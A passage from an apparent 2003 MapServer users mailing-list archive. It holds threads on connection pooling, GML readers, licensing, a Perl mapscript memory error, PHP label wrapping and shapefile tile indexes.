re in a rush, they are more willing to spend $ to expedite the process). I
still feel, as most will agree, that in the spirit of Open Source, all
development, whether contracted or not ought to be rolled back into the main
development pool. Any thoughts on this 'Resource Centre' for lack of better
words?
Again, thanks to the folks behind the scenes creating the engines many of us
use daily.
Cheers,
GAIA
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Fri Jan 3 10:44:15 2003
From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca)
Date: Fri, 3 Jan 2003 13:44:15 -0500
Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer...
Message-ID: <7CDD7B94357FD5119E800002A537C46E230550@s5-ccr-r1.ccrs.nrcan.gc.ca>
I'm going to suggest the path of most resistance, just cuz I can :)
You could SWIGify GDAL, wrap it in Java, and use it's GML driver ...
Or use Jython, and the python interface to GDAL ?
or you could look to see if the GeoServer has this implemented in a
re-usable way ...
Cheers,
J.F.
-----Original Message-----
From: Steve Lime [mailto:steve.lime at dnr.state.mn.us]
Sent: Friday, January 03, 2003 12:51 PM
To: Mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer...
Hi folks: Does anyone know a java-based GML reader/writer class? I'm
looking to use it to load/save features
for a simple online digitizing applet (see
http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires
java 2 plugin) using WFS. Thanks much...
Steve
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From dblasby at refractions.net Fri Jan 3 11:01:13 2003
From: dblasby at refractions.net (David Blasby)
Date: Fri, 03 Jan 2003 11:01:13 -0800
Subject: [Mapserver-users] Fastest Data Format
References: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com> <3E14E8C9.8050609@refractions.net> <3E15D4FD.1030402@frw.uva.nl>
Message-ID: <3E15DDF9.D163B693@refractions.net>
Jan Hartmann wrote:
> I just got connection pooling running (Happy New Year!), but I can only
> test it against PostGIS here. As expected, it doesn't make much
> difference there (17 vs 14 seconds for a map with 100 layers),
Great news Jan!
I'm a bit surprised that it takes as much as 3 seconds to open 100 connections
(but some of that time will be because system tables will be cached). But a 20%
speed increase is great - I'm excited!!
The only problem I think might happen is the connections not getting closed. I
noticed that some mapscript applications were not closing the connection to the
database but havent tracked down the problem. This could be if an error occurs
in your mapscript PHP page and apache doesnt reset (leaving the process
existant, but inactive in apache-space), but I'm just guessing. If you notice
this type of thing happening, let me know and we can track it down.
dave
From morissette at dmsolutions.ca Fri Jan 3 10:58:38 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 03 Jan 2003 13:58:38 -0500
Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer...
References: <3E15DC6A.BEA0D218@dmsolutions.ca>
Message-ID: <3E15DD5E.41C7C1A2@dmsolutions.ca>
I didn't forward this to the list initially, but I guess this could be
of general interest...
Daniel Morissette wrote:
>
> Steve Lime wrote:
> >
> > Hi folks: Does anyone know a java-based GML reader/writer class? I'm
> > looking to use it to load/save features
> > for a simple online digitizing applet (see
> > http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires
> > java 2 plugin) using WFS. Thanks much...
> >
>
> I'm not aware of GML Java classes, but I thought you would be interested
> in this link someone sent me yesterday: http://www.alov.org/
>
> ALOV is an applet that will load shapefiles or MapInfo MIF files
> directly and allow you to navigate, query, classify them on the client
> side. The applet is very light and config is a simple XML file. The
> website also suggests that it supports access to WMS layers but I
> haven't had much luck with this feature yet (I contacted the author
> about this).
>
> Anyway, I was thinking yesterday that it would be cool if ALOV was
> extended to act as a simple WFS client, and this shouldn't be very hard
> given that it supports vector operations already. I don't know what
> your goal is with your applet, but you might find ALOV to be a good
> starting point instead of reinventing the wheel.
>
> Daniel
> --
> ------------------------------------------------------------
> Daniel Morissette morissette at dmsolutions.ca
> DM Solutions Group http://www.dmsolutions.ca/
> ------------------------------------------------------------
From mapserver at peligroso.gaiaenv.com Fri Jan 3 11:06:43 2003
From: mapserver at peligroso.gaiaenv.com (GAIA)
Date: Fri, 3 Jan 2003 12:06:43 -0700 (MST)
Subject: [Mapserver-users] Fastest Data Format
Message-ID: <200301031906.h03J6hsp010368@peligroso.gaiaenv.com>
Hi Jan,
Great news and thanks for your efforts.
The persistent connection option may or may not be desirable. On the one hand, the persistent connection would reduce connection initiation overhead, but on the other hand, in an Internet environment we may not want a seat occupied by a web client for any longer than it takes to render a map. Strictly speaking from an SDE point of view, licenses are limited and we want to return them to the pool as fast as possible to make way for other requests. From a PostGIS perspective, things might be different. Probably, Paul is the best person to comment on this (?).
Again, please let us know if we can help in any way (e.g., testing with SDE).
Cheers,
GAIA
>I just got connection pooling running (Happy New Year!), but I can only
>test it against PostGIS here. As expected, it doesn't make much
>difference there (17 vs 14 seconds for a map with 100 layers), but for
>SDE and OracleSpatial it should cut substantially more ice. I'll send
>the code to Steve Lime and the PostGIS and OS folks for testing and if
>they agree it can be put into CVS. Unless I made some terrible mistake
>this should not take much time: the whole thing takes about 50 lines in
>the main code and about 5 lines for each of the database interfaces.
>Moreover, there is no need to change all database interfaces at the same
>time: an unchanged interface will run as before.
>
>Note however that connections are pooled ONLY within a single map (i.e.
>a single MapServer request). Every new map (e.g. for zoom or pan) has to
>open a new connection (which will be used subsequently for all layers in
>that map). I'm not sure if this will be adequate for SDE and OS. At
>first sight, I have no idea how to keep open a connection between map
>requests. Do people know how ArcIMS/SDE and OS manage this (if they do
>it at all)?
>
>Jan
From Norman Fri Jan 3 11:22:23 2003
From: Norman (Norman)
Date: Fri, 3 Jan 2003 14:22:23 -0500
Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer...
References:
Message-ID: <00d401c2b35d$732f8620$1637ba8c@sfdev3>
Steve writes:
>
> Hi folks: Does anyone know a java-based GML reader/writer class? I'm
> looking to use it to load/save features
> for a simple online digitizing applet (see
> http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires
> java 2 plugin) using WFS. Thanks much...
a Google( "class gml" ) turns up
http://www.geotools.org/docs/uk/ac/leeds/ccg/gml/GMLReader.html
HTH
Norman
From morissette at dmsolutions.ca Fri Jan 3 11:26:07 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 03 Jan 2003 14:26:07 -0500
Subject: [Mapserver-users] Open Source economy 101 ;) (was: Fastest Data
Format)
References: <7CDD7B94357FD5119E800002A537C46E23054F@s5-ccr-r1.ccrs.nrcan.gc.ca>
Message-ID: <3E15E3CF.E68431E@dmsolutions.ca>
Jean-Francois.Doyon at ccrs.nrcan.gc.ca wrote:
>
> And yes, it is unfortunate in some ways that MapServer isn't GPL, because
> I'm sure there are LOTS of enhancements to MapServer that exist out there
> that were never returned to the community, which is unfortunate. We often
> hear talk about CFX's for MapServer, or a COM implementation ... I know of
> at least one instance of this occuring. Not to mention this also creates
> duplication of effort in many cases I'm sure.
>
I agree that it is unfortunate that some enhancements are never returned
to the core, but I think it's a part of life that we have to get used
to.
My intention is not to start yet another license debate, but I don't
agree that things would be better if MapServer was using a GPL license.
Personally I find GPL too restrictive and I think it would hurt us if
MapServer was using GPL. OGR is a very good example where a more
flexible license (MIT/X11 license, same as MapServer) has helped the
cause: OGR is used in a few proprietary softwares and most of the
drivers in OGR were funded by those organizations using it. If OGR had
been using a GPL license then those companies would not have been able
to use it, those drivers would never have been implemented, and nobody
would be able to read DGN and TAB files in MapServer today, just to name
those two.
My 0.02$ :)
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From jlowe at giswebsite.com Fri Jan 3 11:50:56 2003
From: jlowe at giswebsite.com (Jonathan W. Lowe)
Date: 03 Jan 2003 11:50:56 -0800
Subject: [Mapserver-users] mapscript and XBase cause Out of memory error
and/or premature endof script headers error
In-Reply-To: <200301031407.h03E7vR03882@yogi.medinaco.net>
References: <200301031407.h03E7vR03882@yogi.medinaco.net>
Message-ID: <1041623459.1062.27.camel@localhost.localdomain>
Thanks, Lowell. New discoveries...
The CGI module seems to be the problem.
The following bare-bones script works perfectly when the "#use CGI;" is
commented out:
#!/usr/bin/perl -w
use strict;
BEGIN { unshift(@INC, ('/usr/home/gisweb/local/lib',
'/usr/home/gisweb/local/lib/perl5/site_perl/5.005/i386-freebsd'));}
use mapscript;
use XBase;
use CGI;
my $mapfilename = "/usr/home/gisweb/gis/proj/berk/b20.map";
my $image_path = '/usr/home/gisweb/www/docs/gis/scratch/';
my $image_virtual_path = '/gis/scratch/';
my $image_id = $$ . time() . ".png";
my $map = new mapObj($mapfilename) or die('Unable to open mapfile.');
my $img = $map->draw() or die('Unable to draw map');
binmode STDOUT;
$img->saveImage($image_path .
$image_id,$mapscript::MS_PNG,$map->{transparent},$map->{interlace},95);
my $recnumb = 3;
my $table = new XBase '/usr/home/gisweb/gis/data/berk/wa_b.dbf'
or die XBase->errstr;
my @querydata = $table->get_record($recnumb);
my $block_result = $querydata[1];
print "Content-type: text/html\n\n";
print "\n";
print "XBase output: \n";
print "$block_result!\n";
print "
Mapscript output: \n";
print "\n";
print "\n"
# --- End of ms_test5.cgi --- #
But...when run with "use CGI;" uncommented, the image is corrupt and the
following message appears in the apache error_log:
gd-png: fatal libpng error: Out of Memory
gd-png error: setjmp returns error condition
When run in the command line (as "perl ms_test5.cgi"), the program also
runs perfectly.
So, if the solution involves ulink/unlink, the shell builtin, how do I
take advantage of that builtin command if the program is running within
the apache/CGI environment?
Thanks again for your help,
Jonathan
On Fri, 2003-01-03 at 06:10, Lowell Filak wrote:
> The only thing I can seem to locate right now is the shell built-in command ulimit/unlimit .
> Possibly the shell that the cgi is being run in needs unlimit set.?
> All this is assuming that when you receive the out-of-memory error your watching top and can clearly see that there is plenty of memory left.?
> HTH
> Lowell F.
>
> The following message was sent by "Jonathan W. Lowe" on 02 Jan 2003 16:34:07 -0800.
>
> > List:
> >
> > Perl mapscript in combination with the perl XBase and CGI modules works
> > very well in my Redhat 8 development environment, but when moving the
> > code to the production FreeBSD environment, the following problem
> > results:
> >
> > A program containing the statements...
> >
> > use mapscript;
> > use XBase;
> >
> > ...runs the mapscript portions correctly when just the "use XBase;" line
> > is commented out.
> >
> > The same program runs the XBase portions correctly when just the "use
> > mapscript;" line is commented out.
> >
> > The line causing problems when both modules are running contains the
> > following perl mapscript command:
> >
> > my $img = $map->draw() or die('Unable to draw map');
> >
> > The resulting line in the apache error_log reads:
> >
> > Out of memory!
> > [Thu Jan 2 16:09:25 2003] [error] Premature end of script
> > headers...etc
> >
> > The only posting referring to "Out of memory" in this context refers to
> > SWIG and is a couple of years old.
> >
> > Any ideas for resolving this problem?
> >
> > Regards,
> > Jonathan W. Lowe
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
From morissette at dmsolutions.ca Fri Jan 3 12:22:37 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 03 Jan 2003 15:22:37 -0500
Subject: [Mapserver-users] (Off-topic) Mapserver-users list stats
Message-ID: <3E15F10D.F9A5A09F@dmsolutions.ca>
This is a little off-topic. I was archiving mapserver-users messages
and ran into those interesting numbers showing the progression of the
MapServer community:
Approx. number of messages to the mapserver-users list per year:
2000 - 1535 messages
2001 - 3210 messages
2002 - 6087 messages
Yup, traffic is roughly doubling every year!
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From lfilak at medinaco.org Fri Jan 3 12:32:32 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Fri, 03 Jan 2003 15:32:32 -0500
Subject: [Mapserver-users] mapscript and XBase cause Out of memory errorand/or premature endof script headers error
Message-ID: <200301032029.h03KTfR09047@yogi.medinaco.net>
I'm thinking as a quick test you could do:
system("ulimit");
or
system("unlimit");
and see if the script executes properly.
Lowell
The following message was sent by "Jonathan W. Lowe" on 03 Jan 2003 11:50:56 -0800.
> Thanks, Lowell. New discoveries...
>
> The CGI module seems to be the problem.
>
> The following bare-bones script works perfectly when the "#use CGI;" is
> commented out:
>
> #!/usr/bin/perl -w
> use strict;
> BEGIN { unshift(@INC, ('/usr/home/gisweb/local/lib',
> '/usr/home/gisweb/local/lib/perl5/site_perl/5.005/i386-freebsd'));}
> use mapscript;
> use XBase;
> use CGI;
>
> my $mapfilename = "/usr/home/gisweb/gis/proj/berk/b20.map";
> my $image_path = '/usr/home/gisweb/www/docs/gis/scratch/';
> my $image_virtual_path = '/gis/scratch/';
> my $image_id = $$ . time() . ".png";
>
> my $map = new mapObj($mapfilename) or die('Unable to open mapfile.');
> my $img = $map->draw() or die('Unable to draw map');
> binmode STDOUT;
> $img->saveImage($image_path .
> $image_id,$mapscript::MS_PNG,$map->{transparent},$map->{interlace},95);
> my $recnumb = 3;
> my $table = new XBase '/usr/home/gisweb/gis/data/berk/wa_b.dbf'
> or die XBase->errstr;
> my @querydata = $table->get_record($recnumb);
> my $block_result = $querydata[1];
>
> print "Content-type: text/html\n\n";
> print "\n";
> print "XBase output: \n";
> print "$block_result!\n";
> print "
Mapscript output: \n";
> print " print "$image_id\" border=\"1\">\n";
> print "\n"
>
> # --- End of ms_test5.cgi --- #
>
> But...when run with "use CGI;" uncommented, the image is corrupt and the
> following message appears in the apache error_log:
>
> gd-png: fatal libpng error: Out of Memory
> gd-png error: setjmp returns error condition
>
> When run in the command line (as "perl ms_test5.cgi"), the program also
> runs perfectly.
>
> So, if the solution involves ulink/unlink, the shell builtin, how do I
> take advantage of that builtin command if the program is running within
> the apache/CGI environment?
>
> Thanks again for your help,
>
> Jonathan
>
> On Fri, 2003-01-03 at 06:10, Lowell Filak wrote:
> > The only thing I can seem to locate right now is the shell built-in command ulimit/unlimit .
> > Possibly the shell that the cgi is being run in needs unlimit set.?
> > All this is assuming that when you receive the out-of-memory error your watching top and can clearly see that there is plenty of memory left.?
> > HTH
> > Lowell F.
> >
> > The following message was sent by "Jonathan W. Lowe" on 02 Jan 2003 16:34:07 -0800.
> >
> > > List:
> > >
> > > Perl mapscript in combination with the perl XBase and CGI modules works
> > > very well in my Redhat 8 development environment, but when moving the
> > > code to the production FreeBSD environment, the following problem
> > > results:
> > >
> > > A program containing the statements...
> > >
> > > use mapscript;
> > > use XBase;
> > >
> > > ...runs the mapscript portions correctly when just the "use XBase;" line
> > > is commented out.
> > >
> > > The same program runs the XBase portions correctly when just the "use
> > > mapscript;" line is commented out.
> > >
> > > The line causing problems when both modules are running contains the
> > > following perl mapscript command:
> > >
> > > my $img = $map->draw() or die('Unable to draw map');
> > >
> > > The resulting line in the apache error_log reads:
> > >
> > > Out of memory!
> > > [Thu Jan 2 16:09:25 2003] [error] Premature end of script
> > > headers...etc
> > >
> > > The only posting referring to "Out of memory" in this context refers to
> > > SWIG and is a couple of years old.
> > >
> > > Any ideas for resolving this problem?
> > >
> > > Regards,
> > > Jonathan W. Lowe
> > >
> > > _______________________________________________
> > > Mapserver-users mailing list
> > > Mapserver-users at lists.gis.umn.edu
> > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From pramsey at refractions.net Fri Jan 3 12:42:35 2003
From: pramsey at refractions.net (Paul Ramsey)
Date: Fri, 03 Jan 2003 12:42:35 -0800
Subject: [Mapserver-users] Fastest Data Format
In-Reply-To: <200301031906.h03J6hsp010368@peligroso.gaiaenv.com>
References: <200301031906.h03J6hsp010368@peligroso.gaiaenv.com>
Message-ID: <3E15F5BB.10206@refractions.net>
GAIA wrote:
> Strictly speaking from an SDE
> point of view, licenses are limited and we want to return them to the
> pool as fast as possible to make way for other requests. From a
> PostGIS perspective, things might be different. Probably, Paul is
> the best person to comment on this (?).
> Again, please let us know if we can help in any way (e.g., testing
> with SDE).
Perhaps Jan can send you his code cut as well, to test against SDE.
WRT PostGIS and persistent connections, the one-time connection overhead
is so low (relative to total map processing time) that maintaining a
persistent connection is not worth it. The per-session pool should be
quite sufficient to make complex PostGIS-backed maps perform well.
P.
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
From jlowe at giswebsite.com Fri Jan 3 14:21:50 2003
From: jlowe at giswebsite.com (Jonathan W. Lowe)
Date: 03 Jan 2003 14:21:50 -0800
Subject: [Mapserver-users] mapscript and XBase cause Out of memory
errorand/or premature endof script headers error
In-Reply-To: <200301032029.h03KTfR09047@yogi.medinaco.net>
References: <200301032029.h03KTfR09047@yogi.medinaco.net>
Message-ID: <1041632513.1083.36.camel@localhost.localdomain>
Adding system("unlimit"); or system("ulimit"); to the script results in
the following error_log entries (respectively):
Can't exec "unlimit": No such file or directory at
/usr/home/gisweb/www/cgi-bin/ms_test5.cgi line 3.
gd-png: fatal libpng error: Out of Memory
gd-png error: setjmp returns error condition
Can't exec "ulimit": No such file or directory at
/usr/home/gisweb/www/cgi-bin/ms_test5.cgi line 3.
gd-png: fatal libpng error: Out of Memory
gd-png error: setjmp returns error condition
At a command prompt on the FreeBSD system, typing "unlimit" successfully
calls the builtin command. Likewise, also in the FreeBSD system,
opening "sh" and typing "ulimit" returns the text: "unlimited", also
successfully calling the builtin command.
But no luck when using the system call as part of a CGI-driven script.
Should I be forcing the perl script to run in another shell? (Not sure
how I'd do that.)
- Jonathan
On Fri, 2003-01-03 at 12:32, Lowell Filak wrote:
> I'm thinking as a quick test you could do:
> system("ulimit");
> or
> system("unlimit");
> and see if the script executes properly.
> Lowell
>
> The following message was sent by "Jonathan W. Lowe" on 03 Jan 2003 11:50:56 -0800.
>
> > Thanks, Lowell. New discoveries...
> >
> > The CGI module seems to be the problem.
> >
> > The following bare-bones script works perfectly when the "#use CGI;" is
> > commented out:
> >
> > #!/usr/bin/perl -w
> > use strict;
> > BEGIN { unshift(@INC, ('/usr/home/gisweb/local/lib',
> > '/usr/home/gisweb/local/lib/perl5/site_perl/5.005/i386-freebsd'));}
> > use mapscript;
> > use XBase;
> > use CGI;
> >
> > my $mapfilename = "/usr/home/gisweb/gis/proj/berk/b20.map";
> > my $image_path = '/usr/home/gisweb/www/docs/gis/scratch/';
> > my $image_virtual_path = '/gis/scratch/';
> > my $image_id = $$ . time() . ".png";
> >
> > my $map = new mapObj($mapfilename) or die('Unable to open mapfile.');
> > my $img = $map->draw() or die('Unable to draw map');
> > binmode STDOUT;
> > $img->saveImage($image_path .
> > $image_id,$mapscript::MS_PNG,$map->{transparent},$map->{interlace},95);
> > my $recnumb = 3;
> > my $table = new XBase '/usr/home/gisweb/gis/data/berk/wa_b.dbf'
> > or die XBase->errstr;
> > my @querydata = $table->get_record($recnumb);
> > my $block_result = $querydata[1];
> >
> > print "Content-type: text/html\n\n";
> > print "\n";
> > print "XBase output: \n";
> > print "$block_result!\n";
> > print "
Mapscript output: \n";
> > print " > print "$image_id\" border=\"1\">\n";
> > print "\n"
> >
> > # --- End of ms_test5.cgi --- #
> >
> > But...when run with "use CGI;" uncommented, the image is corrupt and the
> > following message appears in the apache error_log:
> >
> > gd-png: fatal libpng error: Out of Memory
> > gd-png error: setjmp returns error condition
> >
> > When run in the command line (as "perl ms_test5.cgi"), the program also
> > runs perfectly.
> >
> > So, if the solution involves ulink/unlink, the shell builtin, how do I
> > take advantage of that builtin command if the program is running within
> > the apache/CGI environment?
> >
> > Thanks again for your help,
> >
> > Jonathan
> >
> > On Fri, 2003-01-03 at 06:10, Lowell Filak wrote:
> > > The only thing I can seem to locate right now is the shell built-in command ulimit/unlimit .
> > > Possibly the shell that the cgi is being run in needs unlimit set.?
> > > All this is assuming that when you receive the out-of-memory error your watching top and can clearly see that there is plenty of memory left.?
> > > HTH
> > > Lowell F.
> > >
> > > The following message was sent by "Jonathan W. Lowe" on 02 Jan 2003 16:34:07 -0800.
> > >
> > > > List:
> > > >
> > > > Perl mapscript in combination with the perl XBase and CGI modules works
> > > > very well in my Redhat 8 development environment, but when moving the
> > > > code to the production FreeBSD environment, the following problem
> > > > results:
> > > >
> > > > A program containing the statements...
> > > >
> > > > use mapscript;
> > > > use XBase;
> > > >
> > > > ...runs the mapscript portions correctly when just the "use XBase;" line
> > > > is commented out.
> > > >
> > > > The same program runs the XBase portions correctly when just the "use
> > > > mapscript;" line is commented out.
> > > >
> > > > The line causing problems when both modules are running contains the
> > > > following perl mapscript command:
> > > >
> > > > my $img = $map->draw() or die('Unable to draw map');
> > > >
> > > > The resulting line in the apache error_log reads:
> > > >
> > > > Out of memory!
> > > > [Thu Jan 2 16:09:25 2003] [error] Premature end of script
> > > > headers...etc
> > > >
> > > > The only posting referring to "Out of memory" in this context refers to
> > > > SWIG and is a couple of years old.
> > > >
> > > > Any ideas for resolving this problem?
> > > >
> > > > Regards,
> > > > Jonathan W. Lowe
> > > >
> > > > _______________________________________________
> > > > Mapserver-users mailing list
> > > > Mapserver-users at lists.gis.umn.edu
> > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > >
> > >
> >
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
From keon at nacse.org Fri Jan 3 23:14:05 2003
From: keon at nacse.org (Dylan Keon)
Date: Fri, 03 Jan 2003 23:14:05 -0800
Subject: [Mapserver-users] shapefile transparency
References: <048FBD219330D211B47000A0C9B3BAFD01BDBEFB@crl02.crrel.usace.army.mil>
Message-ID: <3E1689BD.6040705@nacse.org>
Amy, not sure if you got a reply to this. I encountered the same thing
with 3.7 a couple of weeks ago and filed a bug. You can read more here:
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=249
--Dylan
Stender, Amy ERDC-CRREL-NH Contractor wrote:
> Hello,
>
> I'm a little confused as to how TRANSPARENCY works within a LAYER
> object. I have urban area polygons I would like to overlay
> states/counties, with TRANSPARENCY set to 50. When this layer turns
> on, not only are the urban areas transparent, but the states/counties
> go transparent as well. This appears only to effect the layers on by
> default. When I turn on other layers, they are still completely
> opaque.
>
> Any ideas what I'm doing wrong? (I'm using v3.7)
From javageoff at hotmail.com Sat Jan 4 16:56:46 2003
From: javageoff at hotmail.com (Geoff Anderson)
Date: Sat, 04 Jan 2003 17:56:46 -0700
Subject: [Mapserver-users] Mapserver to SVG Demo
Message-ID:
Here's the Mapserver to SVG Demo. It loads the current Mapserver map image into SVG. The image is not converted to SVG, just provides a raster base map over which SVG stuff can be implemented. On browsers where the SVG mouse events work, users may "digitize" points and query PostGIS by point coordinates (which might be correct...). The PHP code can easily be modified to do SVG based digitizing etc. I'm using it in a web based surface profiler and an GML-centric/Java2D vector overlay utility that does browser based vector overlay and returns the overlay result as SVG polygons overlaid over Mapserver generated base maps...
Please let me know if anyone wants the PHP source. It's not pretty, but it seems to work.
Geoff Anderson
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.
From katarina.kobesova at chello.at Sun Jan 5 07:47:17 2003
From: katarina.kobesova at chello.at (Katarina Kobesova)
Date: Sun, 5 Jan 2003 16:47:17 +0100
Subject: [Mapserver-users] maxcount of characters in a line
Message-ID: <001b01c2b4d1$bba17380$356a6e50@katti>
This is a multi-part message in MIME format.
------=_NextPart_000_0018_01C2B4DA.1B953A30
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hello together !
I have a simple question:
how I can force a line break in a label ?
(comparable in HTML).=20
Some code:
Mapfile:
LAYER #start of layer
NAME "apotheken"
DATA apotheken
STATUS ON
TYPE POINT
CLASSITEM "FIRMA"
CLASS
NAME "Apotheken" #in the legend
#EXPRESSION, SYMBOL and TEXT are in a phpfile defined
LABEL #important for TEXT
TYPE TRUETYPE
FONT Verdana
POSITION UC
WRAP '-'
BUFFER 10
SIZE 7
END
END
END #end of layer object
phpfile:
getLayerByName("apotheken");
} else
if($_SESSION["s_shape"] =3D=3D "spital") {
$layer =3D $map->getLayerByName("spitaele");
}
$result_class =3D $layer->getClass(0);
/***** Class f=FCr Symbole definieren *****/
//1. all Locations
$m =3D new ResultMap(); #defined in an=20
while(list($key, $value) =3D each($_SESSION)) {
if(substr($key, 0,3) =3D=3D "loc") {
$m->addLocationToShape($value);
$expr .=3D $value->getFirma() . "|";
}
}
//2. from-values (start position - home - only a point)
$m->addXYToShape($_SESSION["s_fromx"], $_SESSION["s_fromy"]);
//3. perhaps to-values (start position - for example a line, not a =
point)
if($_SESSION["s_tox"] && $_SESSION["s_toy"]) {
$m->addXYToShape($_SESSION["s_tox"], $_SESSION["s_toy"]);
}
/*****!!! relevant ****/
/*********** symbol with a label (TEXT) *******/
$expr =3D substr($expr, 0, strlen($expr)-1); //das letze "|" entfernen
$expr =3D "/(" . $expr . ")/";
$result_class->setexpression($expr);
$result_class->set("symbol", 4);
$result_class->settext($layer, "([FIRMA], [STRASSE], [HNR], [PLZ])");
/*********** symbol with a label (TEXT) *******/
/*****!!! relevant ****/
/********** draw a map *****/
$extent =3D $m->getMapExtent();
$map->setextent($extent->minx, $extent->miny, $extent->maxx, =
$extent->maxy);
$image =3D $map->draw();
$image_url =3D $image->saveWebImage(MS_PNG, 1, 1, 0);
/********** draw a map *****/
?>
">
My problem:=20
how I can define the "maxcount of characters in a line", which means =
that the company name (for example) can extend over 3 lines ?
Many thanks
Kati
Vienna
------=_NextPart_000_0018_01C2B4DA.1B953A30
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hello together !
I have a simple question: how I can =
force a line=20
break in a label ?
(comparable <br>in HTML). =
Some code:
Mapfile:
LAYER #start of =
layer NAME=20
"apotheken" DATA apotheken STATUS=20
ON TYPE POINT CLASSITEM =
"FIRMA" =20
CLASS NAME "Apotheken" #in =
the=20
legend
#EXPRESSION, SYMBOL=20
and TEXT are in a phpfile defined
=20
LABEL #important for=20
TEXT TYPE=20
TRUETYPE FONT=20
Verdana POSITION=20
UC WRAP=20
'-' BUFFER=20
10 SIZE=20
7 END END END #end =
of layer=20
object
//2. from-values (start =
position - home -=20
only a point) $m->addXYToShape($_SESSION["s_fromx"],=20
$_SESSION["s_fromy"]);
//3. perhaps to-values =
(start position=20
- for example a line, not a point) if($_SESSION["s_tox"] &&=20
$_SESSION["s_toy"]) { =
$m->addXYToShape($_SESSION["s_tox"],=20
$_SESSION["s_toy"]); }
/*****!!! relevant=20
****/
/*********** symbol with=20
a label (TEXT) *******/ $expr =3D substr($expr, 0, =
strlen($expr)-1); =20
//das letze "|" entfernen $expr =3D "/(" . $expr .=20
")/"; $result_class->setexpression($expr); $result_class->set=
("symbol",=20
4); $result_class->settext($layer, "([FIRMA], [STRASSE], [HNR],=20
[PLZ])"); /*********** symbol with a label=20
(TEXT) *******/
how I can define the "maxcount=20
of characters in a line", which means that the company name =
(for=20
example) can extend over 3 lines ?
Many thanks
Kati
Vienna
------=_NextPart_000_0018_01C2B4DA.1B953A30--
From pkishor at geoanalytics.com Sun Jan 5 20:12:23 2003
From: pkishor at geoanalytics.com (Puneet Kishor)
Date: Sun, 5 Jan 2003 22:12:23 -0600
Subject: [Mapserver-users] RE: maxcount of characters in a line
In-Reply-To: <20030105180002.1883.25728.Mailman@lists.gis.umn.edu>
Message-ID: <0F04BA3E-212D-11D7-ADDC-0003936306C2@geoanalytics.com>
>
>
> Today's Topics:
>
> ..
> 2. maxcount of characters in a line (Katarina Kobesova)
>
> --__--__--
>
> Message: 2
> From: "Katarina Kobesova"
> To:
> Date: Sun, 5 Jan 2003 16:47:17 +0100
> Subject: [Mapserver-users] maxcount of characters in a line
>
> ..
>
> Hello together !
>
> I have a simple question:
> how I can force a line break in a label ?
> (comparable in HTML).=20
well, you could chunk split.
$newlabel = chunk_split($label, 20);
would that help? basically a "\r\n" would be inserted every 20 chars.
You could replace the default "\r\n" with just "\n" if you so desire.
>
> Some code:
> ..
From lyndon.zimmermann at adelaide.edu.au Sun Jan 5 22:14:17 2003
From: lyndon.zimmermann at adelaide.edu.au (Lyndon Zimmermann)
Date: Mon, 06 Jan 2003 16:44:17 +1030
Subject: [Mapserver-users] Multiple files as one LAYER
Message-ID: <3E191EB9.3F24816A@adelaide.edu.au>
Greetings,
I have data consisting of dozens of shapefiles sitting in individual
subdirectories which I'd like to load as one LAYER. I'd rather not
extend my MAP file with dozens of additional layers if I can avoid it,
I'd like to think that I could write another file that does this for
me. What's the best solution?
Regards,
Lyndon Zimmermann
From eblevins at insight.rr.com Sun Jan 5 23:19:12 2003
From: eblevins at insight.rr.com (Eric L. Blevins)
Date: Mon, 6 Jan 2003 02:19:12 -0500
Subject: [Mapserver-users] Multiple files as one LAYER
References: <3E191EB9.3F24816A@adelaide.edu.au>
Message-ID: <002201c2b553$ea4293e0$6405a8c0@piii933>
I have the same sort of setup and here is what I did.
create a tileindex for your shape files:
find . -name "railroads.shp" -print > metafile.txt
tile4ms metafile.txt railroadstile
In the map file tell it to use the tileindex:
LAYER name "RailRoads"
TYPE line
STATUS DEFAULT
TILEINDEX "railroadstile"
TILEITEM "LOCATION"
A bit more info can be found here http://mapserver.gis.umn.edu/utils.html
Hope this helps!
eblevins
www.WiFiMaps.com
----- Original Message -----
From: "Lyndon Zimmermann"
To:
Sent: Monday, January 06, 2003 1:14 AM
